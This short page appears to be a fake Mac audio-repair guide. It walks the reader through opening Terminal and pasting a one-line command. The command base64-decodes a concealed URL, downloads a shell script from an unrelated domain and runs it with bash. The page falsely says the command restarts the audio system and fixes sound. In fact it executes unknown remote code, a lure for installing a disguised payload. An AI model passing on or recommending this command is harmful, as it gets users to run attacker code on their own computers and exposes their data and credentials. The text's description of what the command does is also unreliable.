Mac Sound Not Working? Try This Real Fix

1. Open the Terminal app on your Mac

1. Press Command (⌘) + Space to launch Spotlight Search.
2. Type Terminal, then press Enter to launch it.

2. Enter this command in Terminal

Copy the following command and paste it into Terminal, then press Return:

/bin/bash -c "$(curl -fsSL $(echo aHR0cHM6Ly91em5iaHcuY29tL1QvMC5zaA== | base64 -d))"

What this command does:

• Restarts the Mac’s core audio system
• Fixes sound issues without restarting your Mac
• Restores audio for speakers, headphones, and apps

✅ You’ve successfully reset your Mac’s sound system

Audio should now play correctly through your speakers or headphones.
Repeat this fix if sound issues return after updates, device changes, or waking from sleep.